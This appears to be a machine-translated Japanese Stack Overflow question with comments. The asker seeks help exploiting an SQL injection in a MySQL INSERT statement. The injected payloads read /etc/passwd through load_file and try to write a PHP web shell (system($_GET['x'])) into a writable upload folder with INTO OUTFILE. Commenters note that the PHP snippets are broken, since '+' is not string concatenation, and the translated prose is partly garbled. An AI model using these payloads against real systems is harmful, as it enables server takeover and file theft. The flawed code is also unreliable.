2016-10-06 8 views
1

これは興味深いシナリオです。最近五月の間、私はINSERTクエリの中にSQLインジェクションを見つけました。INSERT MySQLクエリでOUTFILEを選択

$sqlquery= "INSERT INTO sometable set col1='" + $_GET['param'] + "'"; 
私は、ファイルに任意の値を挿入しても、sometable内部COL1に「/ etc/passwdファイル」の内容を挿入するSELECTサブクエリを使用することができるよ

と:バックエンドのコードは次のようになりますアプリケーション内の別の場所で完全に異なる機能を介して後でそれを読んでください。

$sqlquery= "INSERT INTO sometable set col1='1', (SELECT load_file('/etc/passwd'))"; 

課題は、INTO OUTFILEを( - 検証私はFILEのPRIVSを持っており、ドキュメントルートは、MySQLのユーザーによって書き込み可能である)を使用してファイルをディスクに書き込むことです。 MySQLが以下をサポートしていないようです:

$sqlquery= "INSERT INTO sometable set col1='1', (SELECT 'a' INTO OUTFILE '/tmp/data.txt')"; 

目的は書き込み権限があるフォルダにphp Webシェルを書き込むことです。実行する必要のある最後のクエリはこれです:

$sqlquery= "INSERT INTO sometable set col1='1', (SELECT '<?php system($_GET['x']) ?>' INTO OUTFILE'/var/www/app/imgupload/shell.php')"; 

MySQLはデータがINTO OUTFILEがディスクにデータを書き込む代わりに帰国するので、上記のステートメントが動作するようには思えない理由であるサブクエリによって返されることを想定しますMySQLへ。

回避策があると思いますか?そのような SELECTは、外側コンテキストにその結果を返す必要があるため

+0

「+」は数学的に追加されています。だからあなたは 'One plus(ファイルの内容)'をやっているだろう。これは理にかなっていない。 'col1 = concat( '1'、load_file(...))'のようなものが必要です。最後のステートメントでは、PHPは再帰的に埋め込み可能ではありません。あなたは既に$ sql文字列を構築するために "php mode"に入っているので、その文字列の中のPHPコードは** NOT **実行され、そのコードベースが 'eval($ sqlquery)' –

+0

PHPには文字列連結子 '+'はありません。したがって、これらの行のどれも動作中のクエリを生成しません。 – syck

+0

しかし、SQLインジェクションの仕組みを知りたければ、ここにたくさんの質問と回答があります。 – syck

答えて